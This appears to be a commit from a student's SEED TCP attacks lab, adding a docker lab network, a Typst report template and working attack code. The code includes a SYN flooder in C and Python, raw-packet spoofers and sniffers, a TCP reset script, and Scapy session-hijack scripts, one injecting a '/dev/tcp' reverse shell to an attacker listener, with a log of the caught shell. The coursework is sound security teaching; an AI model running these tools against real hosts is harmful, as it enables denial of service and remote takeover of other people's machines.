tcp lab almost finished and mitnick lab initialized
This commit is contained in:
71
Tcp/Labsetup/docker-compose.yml
Normal file
71
Tcp/Labsetup/docker-compose.yml
Normal file
@@ -0,0 +1,71 @@
|
||||
version: "3"
|
||||
|
||||
services:
|
||||
attacker:
|
||||
image: handsonsecurity/seed-ubuntu:large
|
||||
container_name: seed-attacker
|
||||
tty: true
|
||||
cap_add:
|
||||
- ALL
|
||||
privileged: true
|
||||
volumes:
|
||||
- ./volumes:/volumes
|
||||
network_mode: host
|
||||
|
||||
|
||||
Victim:
|
||||
image: handsonsecurity/seed-ubuntu:large
|
||||
container_name: victim-10.9.0.5
|
||||
tty: true
|
||||
cap_add:
|
||||
- ALL
|
||||
privileged: true
|
||||
sysctls:
|
||||
- net.ipv4.tcp_syncookies=0
|
||||
|
||||
networks:
|
||||
net-10.9.0.0:
|
||||
ipv4_address: 10.9.0.5
|
||||
|
||||
command: bash -c "
|
||||
/etc/init.d/openbsd-inetd start &&
|
||||
tail -f /dev/null
|
||||
"
|
||||
|
||||
User1:
|
||||
image: handsonsecurity/seed-ubuntu:large
|
||||
container_name: user1-10.9.0.6
|
||||
tty: true
|
||||
cap_add:
|
||||
- ALL
|
||||
networks:
|
||||
net-10.9.0.0:
|
||||
ipv4_address: 10.9.0.6
|
||||
|
||||
command: bash -c "
|
||||
/etc/init.d/openbsd-inetd start &&
|
||||
tail -f /dev/null
|
||||
"
|
||||
|
||||
User2:
|
||||
image: handsonsecurity/seed-ubuntu:large
|
||||
container_name: user2-10.9.0.7
|
||||
tty: true
|
||||
cap_add:
|
||||
- ALL
|
||||
networks:
|
||||
net-10.9.0.0:
|
||||
ipv4_address: 10.9.0.7
|
||||
|
||||
command: bash -c "
|
||||
/etc/init.d/openbsd-inetd start &&
|
||||
tail -f /dev/null
|
||||
"
|
||||
|
||||
networks:
|
||||
net-10.9.0.0:
|
||||
name: net-10.9.0.0
|
||||
ipam:
|
||||
config:
|
||||
- subnet: 10.9.0.0/24
|
||||
|
||||
23
Tcp/Labsetup/volumes/hijack_attack.py
Normal file
23
Tcp/Labsetup/volumes/hijack_attack.py
Normal file
@@ -0,0 +1,23 @@
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
|
||||
def hijack(pkt):
|
||||
if pkt[TCP].payload:
|
||||
data = bytes(pkt[TCP].payload)
|
||||
print("Packet from {} to {} with payload: {}".format(pkt[IP].src, pkt[IP].dst, data))
|
||||
|
||||
# Look for 'id' which I sent in the telnet session
|
||||
if b'id' in data:
|
||||
print("Target command detected. Injecting...")
|
||||
ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
|
||||
tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="A",
|
||||
seq=pkt[TCP].seq + len(pkt[TCP].payload), ack=pkt[TCP].ack)
|
||||
|
||||
payload = "\r touch /tmp/hijack_successful \r"
|
||||
res = ip/tcp/payload
|
||||
send(res, verbose=0)
|
||||
print("Sent hijacked packet.")
|
||||
exit(0)
|
||||
|
||||
print("Sniffing...")
|
||||
sniff(iface="br-603d3788c443", filter="tcp and src host 10.9.0.6 and dst host 10.9.0.5", prn=hijack)
|
||||
14
Tcp/Labsetup/volumes/reset_attack.py
Normal file
14
Tcp/Labsetup/volumes/reset_attack.py
Normal file
@@ -0,0 +1,14 @@
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
|
||||
def spoof_reset(pkt):
|
||||
print("Detected TCP packet from {} to {}".format(pkt[IP].src, pkt[IP].dst))
|
||||
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
|
||||
tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, flags="R", seq=pkt[TCP].ack)
|
||||
res = ip/tcp
|
||||
send(res, verbose=0)
|
||||
print("Sent spoofed RST packet to terminate connection.")
|
||||
exit(0)
|
||||
|
||||
print("Sniffing for telnet traffic on br-603d3788c443...")
|
||||
sniff(iface="br-603d3788c443", filter="tcp and src host 10.9.0.6 and dst host 10.9.0.5", prn=spoof_reset)
|
||||
3
Tcp/Labsetup/volumes/reverse_shell.log
Normal file
3
Tcp/Labsetup/volumes/reverse_shell.log
Normal file
@@ -0,0 +1,3 @@
|
||||
Listening on 0.0.0.0 9090
|
||||
Connection received on 10.9.0.5 54776
|
||||
seed@4163e58af35c:~$
|
||||
21
Tcp/Labsetup/volumes/reverse_shell_attack.py
Normal file
21
Tcp/Labsetup/volumes/reverse_shell_attack.py
Normal file
@@ -0,0 +1,21 @@
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
|
||||
def hijack(pkt):
|
||||
if pkt[TCP].payload:
|
||||
data = bytes(pkt[TCP].payload)
|
||||
if b'id' in data:
|
||||
print("Target command detected. Injecting reverse shell...")
|
||||
ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
|
||||
tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="A",
|
||||
seq=pkt[TCP].seq + len(pkt[TCP].payload), ack=pkt[TCP].ack)
|
||||
|
||||
# Use 10.9.0.1 for the attacker listener
|
||||
payload = "\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 \r"
|
||||
res = ip/tcp/payload
|
||||
send(res, verbose=0)
|
||||
print("Sent hijacked packet with reverse shell.")
|
||||
exit(0)
|
||||
|
||||
print("Sniffing...")
|
||||
sniff(iface="br-603d3788c443", filter="tcp and src host 10.9.0.6 and dst host 10.9.0.5", prn=hijack)
|
||||
BIN
Tcp/Labsetup/volumes/sniff_and_spoof
Executable file
BIN
Tcp/Labsetup/volumes/sniff_and_spoof
Executable file
Binary file not shown.
107
Tcp/Labsetup/volumes/sniff_and_spoof.c
Normal file
107
Tcp/Labsetup/volumes/sniff_and_spoof.c
Normal file
@@ -0,0 +1,107 @@
|
||||
#include <pcap.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <unistd.h>
|
||||
|
||||
struct ipheader {
|
||||
unsigned char iph_ihl:4, iph_ver:4;
|
||||
unsigned char iph_tos;
|
||||
unsigned short int iph_len;
|
||||
unsigned short int iph_ident;
|
||||
unsigned short int iph_flag:3, iph_offset:13;
|
||||
unsigned char iph_ttl;
|
||||
unsigned char iph_protocol;
|
||||
unsigned short int iph_chksum;
|
||||
struct in_addr iph_sourceip;
|
||||
struct in_addr iph_destip;
|
||||
};
|
||||
|
||||
struct icmpheader {
|
||||
unsigned char icmp_type;
|
||||
unsigned char icmp_code;
|
||||
unsigned short int icmp_chksum;
|
||||
unsigned short int icmp_id;
|
||||
unsigned short int icmp_seq;
|
||||
};
|
||||
|
||||
unsigned short in_cksum (unsigned short *buf, int length)
|
||||
{
|
||||
unsigned short *w = buf;
|
||||
int nleft = length;
|
||||
int sum = 0;
|
||||
unsigned short temp=0;
|
||||
|
||||
while (nleft > 1) {
|
||||
sum += *w++;
|
||||
nleft -= 2;
|
||||
}
|
||||
|
||||
if (nleft == 1) {
|
||||
*(u_char *)(&temp) = *(u_char *)w ;
|
||||
sum += temp;
|
||||
}
|
||||
|
||||
sum = (sum >> 16) + (sum & 0xffff);
|
||||
sum += (sum >> 16);
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
|
||||
void send_raw_ip_packet(struct ipheader* ip)
|
||||
{
|
||||
struct sockaddr_in dest_info;
|
||||
int enable = 1;
|
||||
|
||||
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
|
||||
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));
|
||||
|
||||
dest_info.sin_family = AF_INET;
|
||||
dest_info.sin_addr = ip->iph_destip;
|
||||
|
||||
sendto(sock, ip, ntohs(ip->iph_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info));
|
||||
close(sock);
|
||||
}
|
||||
|
||||
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
|
||||
{
|
||||
struct ipheader *ip = (struct ipheader *)(packet + 14);
|
||||
struct icmpheader *icmp = (struct icmpheader *)(packet + 14 + (ip->iph_ihl * 4));
|
||||
|
||||
if (icmp->icmp_type == 8) { // Echo Request
|
||||
printf("Detected Echo Request from %s to %s\n", inet_ntoa(ip->iph_sourceip), inet_ntoa(ip->iph_destip));
|
||||
|
||||
char buffer[1500];
|
||||
int ip_len = ntohs(ip->iph_len);
|
||||
memcpy(buffer, ip, ip_len);
|
||||
|
||||
struct ipheader *new_ip = (struct ipheader *) buffer;
|
||||
struct icmpheader *new_icmp = (struct icmpheader *) (buffer + (new_ip->iph_ihl * 4));
|
||||
|
||||
new_ip->iph_sourceip = ip->iph_destip;
|
||||
new_ip->iph_destip = ip->iph_sourceip;
|
||||
new_ip->iph_ttl = 64;
|
||||
|
||||
new_icmp->icmp_type = 0; // Echo Reply
|
||||
new_icmp->icmp_chksum = 0;
|
||||
new_icmp->icmp_chksum = in_cksum((unsigned short *)new_icmp, ip_len - (new_ip->iph_ihl * 4));
|
||||
|
||||
send_raw_ip_packet(new_ip);
|
||||
printf("Sent spoofed Echo Reply back to %s\n", inet_ntoa(new_ip->iph_destip));
|
||||
}
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
pcap_t *handle;
|
||||
char errbuf[PCAP_ERRBUF_SIZE];
|
||||
struct bpf_program fp;
|
||||
char filter_exp[] = "icmp";
|
||||
bpf_u_int32 net;
|
||||
|
||||
handle = pcap_open_live("br-603d3788c443", BUFSIZ, 1, 1000, errbuf);
|
||||
pcap_compile(handle, &fp, filter_exp, 0, net);
|
||||
pcap_setfilter(handle, &fp);
|
||||
pcap_loop(handle, -1, got_packet, NULL);
|
||||
pcap_close(handle);
|
||||
return 0;
|
||||
}
|
||||
0
Tcp/Labsetup/volumes/sniff_and_spoof.log
Normal file
0
Tcp/Labsetup/volumes/sniff_and_spoof.log
Normal file
BIN
Tcp/Labsetup/volumes/sniffer
Executable file
BIN
Tcp/Labsetup/volumes/sniffer
Executable file
Binary file not shown.
52
Tcp/Labsetup/volumes/sniffer.c
Normal file
52
Tcp/Labsetup/volumes/sniffer.c
Normal file
@@ -0,0 +1,52 @@
|
||||
#include <pcap.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
struct ipheader {
|
||||
unsigned char iph_ihl:4, iph_ver:4;
|
||||
unsigned char iph_tos;
|
||||
unsigned short int iph_len;
|
||||
unsigned short int iph_ident;
|
||||
unsigned short int iph_flag:3, iph_offset:13;
|
||||
unsigned char iph_ttl;
|
||||
unsigned char iph_protocol;
|
||||
unsigned short int iph_chksum;
|
||||
struct in_addr iph_sourceip;
|
||||
struct in_addr iph_destip;
|
||||
};
|
||||
|
||||
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
|
||||
{
|
||||
struct ipheader *ip = (struct ipheader *)(packet + 14); // Skip ethernet header
|
||||
printf("Got a packet\n");
|
||||
printf(" From: %s\n", inet_ntoa(ip->iph_sourceip));
|
||||
printf(" To: %s\n", inet_ntoa(ip->iph_destip));
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
pcap_t *handle;
|
||||
char errbuf[PCAP_ERRBUF_SIZE];
|
||||
struct bpf_program fp;
|
||||
char filter_exp[] = "icmp";
|
||||
bpf_u_int32 net;
|
||||
|
||||
// Change interface name to the correct one
|
||||
handle = pcap_open_live("br-603d3788c443", BUFSIZ, 1, 1000, errbuf);
|
||||
if (handle == NULL) {
|
||||
fprintf(stderr, "Couldn't open device: %s\n", errbuf);
|
||||
return 2;
|
||||
}
|
||||
|
||||
pcap_compile(handle, &fp, filter_exp, 0, net);
|
||||
if (pcap_setfilter(handle, &fp) != 0) {
|
||||
pcap_perror(handle, "Error:");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
pcap_loop(handle, -1, got_packet, NULL);
|
||||
pcap_close(handle);
|
||||
return 0;
|
||||
}
|
||||
6
Tcp/Labsetup/volumes/sniffer.log
Normal file
6
Tcp/Labsetup/volumes/sniffer.log
Normal file
@@ -0,0 +1,6 @@
|
||||
Got a packet
|
||||
From: 1.2.3.4
|
||||
To: 10.9.0.5
|
||||
Got a packet
|
||||
From: 10.9.0.5
|
||||
To: 1.2.3.4
|
||||
BIN
Tcp/Labsetup/volumes/spoofer
Executable file
BIN
Tcp/Labsetup/volumes/spoofer
Executable file
Binary file not shown.
88
Tcp/Labsetup/volumes/spoofer.c
Normal file
88
Tcp/Labsetup/volumes/spoofer.c
Normal file
@@ -0,0 +1,88 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <unistd.h>
|
||||
|
||||
struct ipheader {
|
||||
unsigned char iph_ihl:4, iph_ver:4;
|
||||
unsigned char iph_tos;
|
||||
unsigned short int iph_len;
|
||||
unsigned short int iph_ident;
|
||||
unsigned short int iph_flag:3, iph_offset:13;
|
||||
unsigned char iph_ttl;
|
||||
unsigned char iph_protocol;
|
||||
unsigned short int iph_chksum;
|
||||
struct in_addr iph_sourceip;
|
||||
struct in_addr iph_destip;
|
||||
};
|
||||
|
||||
struct icmpheader {
|
||||
unsigned char icmp_type;
|
||||
unsigned char icmp_code;
|
||||
unsigned short int icmp_chksum;
|
||||
unsigned short int icmp_id;
|
||||
unsigned short int icmp_seq;
|
||||
};
|
||||
|
||||
unsigned short in_cksum (unsigned short *buf, int length)
|
||||
{
|
||||
unsigned short *w = buf;
|
||||
int nleft = length;
|
||||
int sum = 0;
|
||||
unsigned short temp=0;
|
||||
|
||||
while (nleft > 1) {
|
||||
sum += *w++;
|
||||
nleft -= 2;
|
||||
}
|
||||
|
||||
if (nleft == 1) {
|
||||
*(u_char *)(&temp) = *(u_char *)w ;
|
||||
sum += temp;
|
||||
}
|
||||
|
||||
sum = (sum >> 16) + (sum & 0xffff);
|
||||
sum += (sum >> 16);
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
|
||||
void send_raw_ip_packet(struct ipheader* ip)
|
||||
{
|
||||
struct sockaddr_in dest_info;
|
||||
int enable = 1;
|
||||
|
||||
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
|
||||
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));
|
||||
|
||||
dest_info.sin_family = AF_INET;
|
||||
dest_info.sin_addr = ip->iph_destip;
|
||||
|
||||
sendto(sock, ip, ntohs(ip->iph_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info));
|
||||
close(sock);
|
||||
}
|
||||
|
||||
int main() {
|
||||
char buffer[1500];
|
||||
memset(buffer, 0, 1500);
|
||||
|
||||
struct icmpheader *icmp = (struct icmpheader *)(buffer + sizeof(struct ipheader));
|
||||
icmp->icmp_type = 8; // ICMP Echo Request
|
||||
icmp->icmp_chksum = 0;
|
||||
icmp->icmp_chksum = in_cksum((unsigned short *)icmp, sizeof(struct icmpheader));
|
||||
|
||||
struct ipheader *ip = (struct ipheader *) buffer;
|
||||
ip->iph_ver = 4;
|
||||
ip->iph_ihl = 5;
|
||||
ip->iph_ttl = 20;
|
||||
ip->iph_sourceip.s_addr = inet_addr("1.2.3.4");
|
||||
ip->iph_destip.s_addr = inet_addr("10.9.0.5");
|
||||
ip->iph_protocol = IPPROTO_ICMP;
|
||||
ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct icmpheader));
|
||||
|
||||
send_raw_ip_packet(ip);
|
||||
printf("Spoofed ICMP packet sent from 1.2.3.4 to 10.9.0.5\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
BIN
Tcp/Labsetup/volumes/synflood
Executable file
BIN
Tcp/Labsetup/volumes/synflood
Executable file
Binary file not shown.
213
Tcp/Labsetup/volumes/synflood.c
Normal file
213
Tcp/Labsetup/volumes/synflood.c
Normal file
@@ -0,0 +1,213 @@
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <time.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
/* IP Header */
|
||||
struct ipheader {
|
||||
unsigned char iph_ihl:4, //IP header length
|
||||
iph_ver:4; //IP version
|
||||
unsigned char iph_tos; //Type of service
|
||||
unsigned short int iph_len; //IP Packet length (data + header)
|
||||
unsigned short int iph_ident; //Identification
|
||||
unsigned short int iph_flag:3, //Fragmentation flags
|
||||
iph_offset:13; //Flags offset
|
||||
unsigned char iph_ttl; //Time to Live
|
||||
unsigned char iph_protocol; //Protocol type
|
||||
unsigned short int iph_chksum; //IP datagram checksum
|
||||
struct in_addr iph_sourceip; //Source IP address
|
||||
struct in_addr iph_destip; //Destination IP address
|
||||
};
|
||||
|
||||
|
||||
/* TCP Header */
|
||||
struct tcpheader {
|
||||
u_short tcp_sport; /* source port */
|
||||
u_short tcp_dport; /* destination port */
|
||||
u_int tcp_seq; /* sequence number */
|
||||
u_int tcp_ack; /* acknowledgement number */
|
||||
u_char tcp_offx2; /* data offset, rsvd */
|
||||
#define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4)
|
||||
u_char tcp_flags;
|
||||
#define TH_FIN 0x01
|
||||
#define TH_SYN 0x02
|
||||
#define TH_RST 0x04
|
||||
#define TH_PUSH 0x08
|
||||
#define TH_ACK 0x10
|
||||
#define TH_URG 0x20
|
||||
#define TH_ECE 0x40
|
||||
#define TH_CWR 0x80
|
||||
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
|
||||
u_short tcp_win; /* window */
|
||||
u_short tcp_sum; /* checksum */
|
||||
u_short tcp_urp; /* urgent pointer */
|
||||
};
|
||||
|
||||
/* Psuedo TCP header */
|
||||
struct pseudo_tcp
|
||||
{
|
||||
unsigned saddr, daddr;
|
||||
unsigned char mbz;
|
||||
unsigned char ptcl;
|
||||
unsigned short tcpl;
|
||||
struct tcpheader tcp;
|
||||
char payload[1500];
|
||||
};
|
||||
|
||||
//#define DEST_IP "10.9.0.5"
|
||||
//#define DEST_PORT 23 // Attack the web server
|
||||
#define PACKET_LEN 1500
|
||||
|
||||
unsigned short calculate_tcp_checksum(struct ipheader *ip);
|
||||
|
||||
/*************************************************************
|
||||
Given an IP packet, send it out using a raw socket.
|
||||
**************************************************************/
|
||||
void send_raw_ip_packet(struct ipheader* ip)
|
||||
{
|
||||
struct sockaddr_in dest_info;
|
||||
int enable = 1;
|
||||
|
||||
// Step 1: Create a raw network socket.
|
||||
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
|
||||
if (sock < 0) {
|
||||
fprintf(stderr, "socket() failed: %s\n", strerror(errno));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Step 2: Set socket option.
|
||||
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
|
||||
&enable, sizeof(enable));
|
||||
|
||||
// Step 3: Provide needed information about destination.
|
||||
dest_info.sin_family = AF_INET;
|
||||
dest_info.sin_addr = ip->iph_destip;
|
||||
|
||||
// Step 4: Send the packet out.
|
||||
sendto(sock, ip, ntohs(ip->iph_len), 0,
|
||||
(struct sockaddr *)&dest_info, sizeof(dest_info));
|
||||
close(sock);
|
||||
}
|
||||
|
||||
|
||||
/******************************************************************
|
||||
Spoof a TCP SYN packet.
|
||||
*******************************************************************/
|
||||
int main(int argc, char *argv[]) {
|
||||
char buffer[PACKET_LEN];
|
||||
struct ipheader *ip = (struct ipheader *) buffer;
|
||||
struct tcpheader *tcp = (struct tcpheader *) (buffer +
|
||||
sizeof(struct ipheader));
|
||||
|
||||
if (argc < 3) {
|
||||
printf("Please provide IP and Port number\n");
|
||||
printf("Usage: synflood ip port\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
char *DEST_IP = argv[1];
|
||||
int DEST_PORT = atoi(argv[2]);
|
||||
|
||||
|
||||
srand(time(0)); // Initialize the seed for random # generation.
|
||||
while (1) {
|
||||
memset(buffer, 0, PACKET_LEN);
|
||||
/*********************************************************
|
||||
Step 1: Fill in the TCP header.
|
||||
********************************************************/
|
||||
tcp->tcp_sport = rand(); // Use random source port
|
||||
tcp->tcp_dport = htons(DEST_PORT);
|
||||
tcp->tcp_seq = rand(); // Use random sequence #
|
||||
tcp->tcp_offx2 = 0x50;
|
||||
tcp->tcp_flags = TH_SYN; // Enable the SYN bit
|
||||
tcp->tcp_win = htons(20000);
|
||||
tcp->tcp_sum = 0;
|
||||
|
||||
/*********************************************************
|
||||
Step 2: Fill in the IP header.
|
||||
********************************************************/
|
||||
ip->iph_ver = 4; // Version (IPV4)
|
||||
ip->iph_ihl = 5; // Header length
|
||||
ip->iph_ttl = 50; // Time to live
|
||||
ip->iph_sourceip.s_addr = rand(); // Use a random IP address
|
||||
ip->iph_destip.s_addr = inet_addr(DEST_IP);
|
||||
ip->iph_protocol = IPPROTO_TCP; // The value is 6.
|
||||
ip->iph_len = htons(sizeof(struct ipheader) +
|
||||
sizeof(struct tcpheader));
|
||||
|
||||
// Calculate tcp checksum
|
||||
tcp->tcp_sum = calculate_tcp_checksum(ip);
|
||||
|
||||
/*********************************************************
|
||||
Step 3: Finally, send the spoofed packet
|
||||
********************************************************/
|
||||
send_raw_ip_packet(ip);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
unsigned short in_cksum (unsigned short *buf, int length)
|
||||
{
|
||||
unsigned short *w = buf;
|
||||
int nleft = length;
|
||||
int sum = 0;
|
||||
unsigned short temp=0;
|
||||
|
||||
/*
|
||||
* The algorithm uses a 32 bit accumulator (sum), adds
|
||||
* sequential 16 bit words to it, and at the end, folds back all
|
||||
* the carry bits from the top 16 bits into the lower 16 bits.
|
||||
*/
|
||||
while (nleft > 1) {
|
||||
sum += *w++;
|
||||
nleft -= 2;
|
||||
}
|
||||
|
||||
/* treat the odd byte at the end, if any */
|
||||
if (nleft == 1) {
|
||||
*(u_char *)(&temp) = *(u_char *)w ;
|
||||
sum += temp;
|
||||
}
|
||||
|
||||
/* add back carry outs from top 16 bits to low 16 bits */
|
||||
sum = (sum >> 16) + (sum & 0xffff); // add hi 16 to low 16
|
||||
sum += (sum >> 16); // add carry
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
|
||||
/****************************************************************
|
||||
TCP checksum is calculated on the pseudo header, which includes
|
||||
the TCP header and data, plus some part of the IP header.
|
||||
Therefore, we need to construct the pseudo header first.
|
||||
*****************************************************************/
|
||||
|
||||
|
||||
unsigned short calculate_tcp_checksum(struct ipheader *ip)
|
||||
{
|
||||
struct tcpheader *tcp = (struct tcpheader *)((u_char *)ip +
|
||||
sizeof(struct ipheader));
|
||||
|
||||
int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);
|
||||
|
||||
/* pseudo tcp header for the checksum computation */
|
||||
struct pseudo_tcp p_tcp;
|
||||
memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));
|
||||
|
||||
p_tcp.saddr = ip->iph_sourceip.s_addr;
|
||||
p_tcp.daddr = ip->iph_destip.s_addr;
|
||||
p_tcp.mbz = 0;
|
||||
p_tcp.ptcl = IPPROTO_TCP;
|
||||
p_tcp.tcpl = htons(tcp_len);
|
||||
memcpy(&p_tcp.tcp, tcp, tcp_len);
|
||||
|
||||
return (unsigned short) in_cksum((unsigned short *)&p_tcp,
|
||||
tcp_len + 12);
|
||||
}
|
||||
|
||||
14
Tcp/Labsetup/volumes/synflood.py
Normal file
14
Tcp/Labsetup/volumes/synflood.py
Normal file
@@ -0,0 +1,14 @@
|
||||
#!/bin/env python3
|
||||
from scapy.all import IP, TCP, send
|
||||
from ipaddress import IPv4Address
|
||||
from random import getrandbits
|
||||
|
||||
ip = IP(dst="10.9.0.5")
|
||||
tcp = TCP(dport=23, flags='S')
|
||||
pkt = ip/tcp
|
||||
|
||||
while True:
|
||||
pkt[IP].src = str(IPv4Address(getrandbits(32))) # 源 IP
|
||||
pkt[TCP].sport = getrandbits(16) # 源端口号
|
||||
pkt[TCP].seq = getrandbits(32) # 序列号
|
||||
send(pkt, verbose = 0)
|
||||
BIN
Tcp/Labsetup/volumes/synflood_c
Executable file
BIN
Tcp/Labsetup/volumes/synflood_c
Executable file
Binary file not shown.
BIN
Tcp/TCP_Attacks_cn.pdf
Normal file
BIN
Tcp/TCP_Attacks_cn.pdf
Normal file
Binary file not shown.
BIN
Tcp/dockerps.png
Normal file
BIN
Tcp/dockerps.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 107 KiB |
153
Tcp/labtemplate.typ
Normal file
153
Tcp/labtemplate.typ
Normal file
@@ -0,0 +1,153 @@
|
||||
#let times = "Times LT Pro"
|
||||
#let times = "Times New Roman"
|
||||
#let song = (times, "Noto Serif CJK SC")
|
||||
#let hei = (times, "Noto Sans CJK SC")
|
||||
#let kai = (times, "Noto Serif CJK SC")
|
||||
#let xbsong = (times, "Noto Serif CJK SC")
|
||||
#let fsong = (times, "Noto Serif CJK SC")
|
||||
#let code = (times, "JetBrains Mono")
|
||||
#let nudtlabpaper(title: "",
|
||||
author: "",
|
||||
id: "",
|
||||
training_type:"",
|
||||
grade: "",
|
||||
major: "",
|
||||
department: "",
|
||||
advisor: "",
|
||||
jobtitle: "",
|
||||
lab: "",
|
||||
date: "",
|
||||
header_str: "",
|
||||
body) = {
|
||||
// Set the document's basic properties.
|
||||
set document(author: author, title: title)
|
||||
set page(
|
||||
|
||||
margin: (left: 30mm, right: 30mm, top: 30mm, bottom: 30mm),
|
||||
)
|
||||
|
||||
// Title row.
|
||||
v(158pt)
|
||||
align(center)[
|
||||
#block(text(weight: 700, size: 30pt, font: hei, tracking: 15pt, "网络安全"))
|
||||
]
|
||||
align(center)[
|
||||
#block(text(weight: 700, size: 30pt, font: song, tracking: 15pt, "本科实验报告"))
|
||||
]
|
||||
|
||||
v(103pt)
|
||||
pad(
|
||||
left: 1em,
|
||||
right: 1em,
|
||||
grid(
|
||||
columns: (80pt, 1fr),
|
||||
rows: (17pt, auto),
|
||||
text(weight: 700, size: 16pt, font: song, "实验名称:"),
|
||||
align(center, text(weight: "regular", size: 16pt, font: song, title)),
|
||||
text(""),
|
||||
line(length: 100%)
|
||||
)
|
||||
// #block(text(weight: 700, 1.75em, title))
|
||||
// underline(text(weight: 700, size: 16pt, font: song, title))
|
||||
)
|
||||
|
||||
// Author information.
|
||||
|
||||
v(82.5pt)
|
||||
|
||||
grid(
|
||||
columns: (0.25fr, 0.25fr, 0.25fr, 0.25fr),
|
||||
rows: (15pt, 8pt, 15pt, 8pt, 15pt, 8pt, 15pt, 8pt, 15pt),
|
||||
text(size: 14pt, font: song, tracking: 10pt, "学员姓名"),
|
||||
align(center, text(size: 14pt, font: song, author)),
|
||||
text(size: 14pt, font: song, tracking: 54pt, "学号"),
|
||||
align(center, text(size: 14pt, font: times, id)),
|
||||
text(""),
|
||||
line(length: 100%),
|
||||
text(""),
|
||||
line(length: 100%),
|
||||
text(size: 14pt, font: song, tracking: 9pt, "培养类型"),
|
||||
align(center, text(size: 14pt, font: song, training_type)),
|
||||
text(size: 14pt, font: song, tracking: 54pt, "年级"),
|
||||
align(center, text(size: 14pt, font: times, grade)),
|
||||
text(""),
|
||||
line(length: 100%),
|
||||
text(""),
|
||||
line(length: 100%),
|
||||
text(size: 14pt, font: song, tracking: 54pt, "专业"),
|
||||
align(center, text(size: 14pt, font: song, major)),
|
||||
text(size: 14pt, font: song, tracking: 9pt, "所属学院"),
|
||||
align(center, text(size: 14pt, font: song, department)),
|
||||
text(""),
|
||||
line(length: 100%),
|
||||
text(""),
|
||||
line(length: 100%),
|
||||
text(size: 14pt, font: song, tracking: 9pt, "指导教员"),
|
||||
align(center, text(size: 14pt, font: song, advisor)),
|
||||
text(size: 14pt, font: song, tracking: 54pt, "职称"),
|
||||
align(center, text(size: 14pt, font: song, jobtitle)),
|
||||
text(""),
|
||||
line(length: 100%),
|
||||
text(""),
|
||||
line(length: 100%),
|
||||
text(size: 14pt, font: song, tracking: 20pt, "实验室"),
|
||||
align(center, text(size: 14pt, font: song, lab)),
|
||||
text(size: 14pt, font: song, tracking: 9pt, "实验时间"),
|
||||
align(center, text(size: 14pt, font: song, date)),
|
||||
text(""),
|
||||
line(length: 100%),
|
||||
text(""),
|
||||
line(length: 100%),
|
||||
)
|
||||
|
||||
v(50.5pt)
|
||||
align(center, text(font: hei, size: 15pt, "国防科技大学教育训练部制"))
|
||||
|
||||
pagebreak()
|
||||
|
||||
set page(
|
||||
margin: (left: 30mm, right: 30mm, top: 30mm, bottom: 30mm),
|
||||
numbering: "i",
|
||||
number-align: center,
|
||||
)
|
||||
|
||||
v(14pt)
|
||||
align(center)[
|
||||
#block(text(font: hei, size: 14pt, "《本科实验报告》填写说明"))
|
||||
]
|
||||
|
||||
v(14pt)
|
||||
text("")
|
||||
par(first-line-indent: 2em, text(font: song, size: 12pt, "实验报告内容编排应符合以下要求:"))
|
||||
|
||||
par(first-line-indent: 2em, text(font: fsong, size: 12pt, "(1)采用A4(21cm×29.7cm)白色复印纸,单面黑字。上下左右各侧的页边距均为3cm;缺省文档网格:字号为小4号,中文为宋体,英文和阿拉伯数字为Times New Roman,每页30行,每行36字;页脚距边界为2.5cm,页码置于页脚、居中,采用小5号阿拉伯数字从1开始连续编排,封面不编页码。"))
|
||||
|
||||
